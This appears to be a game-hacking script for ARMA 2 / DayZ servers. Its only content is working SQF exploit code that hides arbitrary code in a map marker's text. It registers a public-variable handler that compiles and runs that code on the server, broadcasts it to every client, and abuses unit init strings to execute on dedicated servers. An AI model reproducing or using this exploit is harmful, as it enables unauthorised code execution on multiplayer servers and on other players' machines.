_code = _this select 0; player setVehicleInit _code; sleep 0.1; processInitCommands; sleep 0.1; clearVehicleInit player;
if (isNil "reINIT") then
{
reINIT = true;
made_by_monky_because_kyle_is_a_tool =
{
[_this select 0] spawn
{
"respawn_west" setMarkerText ";"+(_this select 0)+";";
dayzSetFix = ["where_is_filter"];
publicVariableServer "dayzSetFix";
};
};
};
if (isNil "re500") then
{
re500 = true;
usecEpi = createTeam ["bowonky", "'dayzSetFix' addPublicVariableEventHandler
{
_code = markerText 'respawn_west';
call compile _code;
remExField = [nil,nil,(';'+_code+';')];
publicVariable 'remExField';
'respawn_west' setMarkerText 'NO';
};"];
publicVariable "usecEpi";
usecBleed = [{preProcessFileLineNumbers=str usecEpi;runInitScript;}];
publicVariable "usecBleed";
BIS_MPF_dummygroup = "Cow03";
BIS_MPF_logic = BIS_MPF_dummygroup createUnit [getPosATL player, createGroup east, "if (isDedicated) then {{if (true) then _x;} count usecBleed;};", 0.5, "CORPORAL"];
sleep 0.4;
};
_forward = (_this select 0);
[_forward] call made_by_monky_because_kyle_is_a_tool;
